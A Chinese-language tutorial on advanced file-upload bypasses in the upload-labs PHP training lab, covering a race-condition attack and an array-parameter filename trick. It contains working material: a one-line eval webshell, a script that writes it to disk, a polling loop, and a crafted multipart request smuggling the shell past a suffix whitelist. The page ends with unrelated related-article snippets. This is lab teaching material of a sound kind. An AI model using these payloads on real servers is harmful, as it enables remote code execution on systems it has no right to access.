文件上传漏洞(3), 文件上传实战绕过思路, 进阶篇, 代码审计

文件上传漏洞实战思路(进阶)

一, 条件竞争(实战中很难成功)

需要代码审计

前端环境:

上传一张图片

后端源码:
<?php
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){// 定义数组, 后缀名白名单$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name']; // 原始文件名$temp_file = $_FILES['upload_file']['tmp_name']; // 临时文件名$file_ext = substr($file_name,strrpos($file_name,".")+1); // 后缀名$upload_file = UPLOAD_PATH . '/' . $file_name; // upload路径// 移动文件到upload路径下, 保持原始文件名if(move_uploaded_file($temp_file, $upload_file)){// 判断后缀名是是否属于白名单if(in_array($file_ext,$ext_arr)){// 定义新的文件名$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;// 重命名文件rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file); // 删除文件}}else{$msg = '上传出错!';}
}
?>

漏洞原理:

因为移动upload_file文件到目录的过程可能存在较短的一段时间,
所以从 move_uploaded_file() 移动文件, 到 unlink() 删除 upload_file 文件之间可能存在一定时间间隔.

虽然这个文件之后会被 unlink() 删除, 但是只要在 upload_file 没有被删除的这段时间之内马上用浏览器去访问它, 就可以通过它里面的代码 file_put_contents() 写一个新的木马mm.php文件到服务器上, 漏洞利用就成功了.

例如:

上传文件upload.php的代码, 这段代码将一句话木马写到新的mm.php文件:

<?php
file_put_contents("mm.php", '<?php @eval($_GET["cmd"]); ?>');
echo "ok"
?>

由于这里可以利用的时间可能很短, 实战中需要反复进行上传文件和访问文件来测试, 只要有一瞬间访问到了upload.php文件就可能成功创建出mm.php并写入代码.
可以使用python或burp suite等工具来重复发送请求来提高成功率.

1. 使用burpsuite重复上传请求

在burpsuite中将上传请求截获, 发送到Intruder窗口.
payload子窗口选择 Null payloads, Generate填写次数.
Options子窗口RequestEngine设置, Number of threads 设置线程数, Throttle, Fixed填写请求间隔时间(毫秒).

2. 使用python检测是否能够访问.
import requests, time
url = 'http://192.168.112.200/upload-labs-master/upload/upload.php'
while 1:resp = requests.get(url)if resp.status_code == 200 and resp.text == "ok":print('ok')breaktime.sleep(0.05)

二, 数组参数

需要代码审计

前端环境:

上传一张图片, 输入框可以重命名文件.

后端源码
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名// 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];// 这里在判断file是否是数组if (!is_array($file)) {$file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组}$ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名$allow_suffix = array('jpg','png','gif'); // 后缀名白名单// 疑问: 这里为什么要判断 save_name 是数组呢? 那么它可能是数组吗? // 判断后缀名是否属于白名单if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];        $temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
?>
实验: 以数组形式提交参数:
1. 后端源码:
test.php
<?php
$save_name = $_POST['save_name'];
var_dump($save_name);
?>
2. 网页中提交请求:
url: http://192.168.112.200/security/test.php
post data: save_name[0]=mm.php&save_name[1]=abc&save_name[2]=123
3. 查看结果:
array(3){[0]=> "mm.php"[1]=> "abc"[2]=> "123"
}
实验结果:

请求参数可以直接以数组方式提交.

绕过思路:

通过构造POST请求的 save_name 参数, 使得文件名后缀是合法的, 并且提交到服务器上的文件是可以执行的脚本.

继续分析:
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名// 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];// 这里在判断file是否是数组if (!is_array($file)) {$file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组}$ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名$allow_suffix = array('jpg','png','gif'); // 后缀名白名单// 判断后缀名是否属于白名单if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];reset($file), 返回file数组第一个元素的值.$file[count($file) - 1], 返回file数组的最后一个元素的值.$file_name 的值将两部分进行拼接. /*那么这里发现漏洞, $file[count($file) - 1] 是根据数组的键来取值,如果能构造一个数组元素, 让第一个元素值是php文件名`mm.php`, 第二个元素值是合法的后缀名`jpg`, 但是第二个元素的键是[2], 而不是[1], 那么此时 $file[count($file) - 1] 就是 $file[1], 因为没有[1]这个键会导致无法取得这个值, 结果就是空. 那么构造数组:post data: save_name[0]=mm.php, save_name[2]=jpg执行结果:$file_name = "mm.php" . '.' . $file[2 - 1]$file_name = "mm.php" . '.' . ""$file_name = "mm.php."*/    $temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
?>

在burpsuite中提交post数组:

-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="upload_file"; filename="mm.php"
Content-Type: image/gifGIF89a
<?php @eval($_GET["cmd"]); ?>
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="save_name[0]"mm.php
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="save_name[2]"gif
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="submit"涓婁紶
-----------------------------3816641301419821690338590197--

访问木马:

http://192.168.112.200/upload-labs-master/upload/mm.php.?cmd=phpinfo();

注意mm.php.末尾的点.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/120510.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[AutoSAR系列] 1.3 AutoSar 架构

依AutoSAR及经验辛苦整理&#xff0c;原创保护&#xff0c;禁止转载。 专栏 《深入浅出AutoSAR》 1. 整体架构 ​ 图片来源&#xff1a; AutoSar 官网 从官往图中可以看出autosar作为汽车ECU软件架构&#xff0c;是通过分层来实现软硬件隔离。就像大多数操作系统一样&#xff…

网络安全—自学笔记

1.网络安全是什么 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队”、“安全运营”、“安全运维”则研究防御技术。 2.网络安全市场 一、是市场需求量高&#xff1b; 二、则是发展相对成熟…

Spring Boot中RedisTemplate的使用

当前Spring Boot的版本为2.7.6&#xff0c;在使用RedisTemplate之前我们需要在pom.xml中引入下述依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><vers…

基于SSM的幼儿园管理系统

基于SSM的幼儿园管理系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringSpringMVCMyBatis工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 登录界面 管理员界面 摘要 基于SSM&#xff08;Spring、Spring MVC、MyBatis&#…

SuperHF: Supervised Iterative Learning from Human Feedback

本文是LLM系列文章&#xff0c;针对《SuperHF: Supervised Iterative Learning from Human Feedback》的翻译。 SuperHF&#xff1a;从人的反馈中监督迭代学习 摘要1 引言2 相关工作3 背景4 方法5 实验6 讨论与未来工作7 结论 摘要 人工智能领域越来越关注大规模语言模型&…

IDEA: 自用主题及字体搭配推荐

文章目录 1. 字体设置推荐2. 主题推荐3. Rainbow Brackets(彩虹括号)4. 设置背景图片 下面是我的 IDEA 主题和字体&#xff0c;它们的搭配效果如下&#xff1a; 1. 字体设置推荐 在使用 IntelliJ IDEA 进行编码和开发时&#xff0c;一个合适的字体设置可以提高你的工作效率和舒…

Fabric.js 图案笔刷

本文简介 带尬猴&#xff0c;我是德育处主任 Fabric.js 有图案画笔功能&#xff0c;这个功能可以简单理解成“刮刮卡”效果。 如果只是看 Fabric.js 文档可能还不太明白 图案画笔 PatternBrush 是如何使用。 本文将讲解如何配置这款画笔的基础属性。 图案画笔&#xff08;笔…

Kafka入门05——基础知识

目录 副本数据同步原理 HW和LEO的更新流程 第一种情况 第二种情况 数据丢失的情况 解决方案 Leader副本的选举过程 日志清除策略和压缩策略 日志清除策略 日志压缩策略 Kafka存储手段 零拷贝&#xff08;Zero-Copy&#xff09; 页缓存&#xff08;Page Cache&…

关于JAVA中字节码文件版本号、产品版本号及开发版本号的关系

目录 关于字节码版本对应关系清单关于字节码格式说明的资料关于这些版本号 关于字节码版本 以二进制打开字节码文件&#xff1a; 如上图中第5-8标识&#xff08;圈起来的&#xff09;的即字节码版本号 十六进制&#xff1a; 34 十进制&#xff1a; 52 jdk 8 对应关系清单 …

四、【常用的几种抠图方式三】

文章目录 钢笔工具抠图通道抠图蒙版抠图色彩范围抠图 钢笔工具抠图 钢笔工具抠图适合边缘比较硬的主体对象&#xff0c;因此适合需要精修而且边缘比较生硬的图片&#xff0c;钢笔工具操作比较多&#xff0c;对一般的新手来讲不是很友好&#xff0c;想要使用好钢笔工具需要经常…

【Git LFS】huggingface 断点续传

这里有个很好的介绍&#xff1a;https://stackoverflow.com/questions/72610494/what-is-the-difference-between-git-lfs-fetch-git-lfs-fetch-all-and-git 提供的信息是关于如何作为普通用户使用Git LFS&#xff08;Large File Storage&#xff09;&#xff0c;涵盖了各种Gi…

5G与医疗:开启医疗技术的新篇章

5G与医疗&#xff1a;开启医疗技术的新篇章 随着5G技术的快速发展和普及&#xff0c;它已经在医疗领域产生了深远的影响。5G技术为医疗行业提供了更高效、更准确、更及时的通信方式&#xff0c;从而改变了医疗服务的模式和患者的体验。本文将探讨5G技术在医疗领域的应用场景、优…

JS问题:项目中如何区分使用防抖或节流?

前端功能问题系列文章&#xff0c;点击上方合集↑ 序言 大家好&#xff0c;我是大澈&#xff01; 本文约2300字&#xff0c;整篇阅读大约需要6分钟。 本文主要内容分三部分&#xff0c;第一部分是需求分析&#xff0c;第二部分是实现步骤&#xff0c;第三部分是问题详解。 …

CSS 基础知识-02

CSS 基础知识-01 1. flex布局2.定位3.CSS精灵4.CSS修饰属性 1. flex布局 2.定位 3.CSS精灵 4.CSS修饰属性

[③ADRV902x]: Digital Filter Configuration(接收端)

前言 本篇博客主要总结了ADRV9029 Rx接收端链路中各个滤波器的配置。配置不同的滤波器系数以及不同的参数&#xff0c;可以对输入的数字信号灵活得做decimation处理&#xff0c;decimation信号抽取&#xff0c;就是降低信号采样率的过程。 Receiver Signal Path 下图为接收端…

Java之System.getProperty()的作用及使用说明

目录 一、Java之System 1、getProperty() 一、Java之System 1、getProperty() System.getProperties()可以确定当前的系统属性,返回值是一个Properties; System.load(String filename)等同于&#xff1a;System.getProperties().load(String filename)它们的作用是可以从作…

程序化广告系列之一---名词解释

基础 1、DSP&#xff1a;全称“Demand-Side Platform”&#xff0c;需求方平台&#xff0c;是为广告主、代理商提供一个综合性的管理平台&#xff0c;通过统一界面管理多个数字广告和数据交换账户。 2、SSP&#xff1a;SSP是Sell-Side Platform的缩写&#xff0c;即供应方平台…

通信基础(一):数据传输基础

一、波特率与比特率关系 比特率(信息传输速率、信息速率):指单位时间内在信道上传 送的数据量(即比特数),单位为比特每秒 (bit/s), 简记为b/s或bps。 波特率与比特率有如下换算关系&#xff1a; bitbaud *log 2(N) 其中&#xff0c; N是码元总类数。 特别注意&#xff…

Linux | 进程地址空间

目录 前言 一、初始进程地址空间 1、实验引入 2、虚拟地址空间 二、什么是进程地址空间 1、基本概念 2、深入理解进程地址空间 3、进程地址空间的本质 4、遗留问题解决 三、为什么要有进程地址空间 1、知识扩展 2、进程地址空间存在意义 3、重新理解挂起 前言 本…

Vue引入异步组件

defineAsyncComponent 函数&#xff1a;异步引入组件。 Suspense 标签&#xff1a;异步引入组件时&#xff0c;显示默认的内容。 异步引入组件的基本使用&#xff1a; 异步引入组件&#xff1a; import { defineAsyncComponent } from vue; const Child defineAsyncComponen…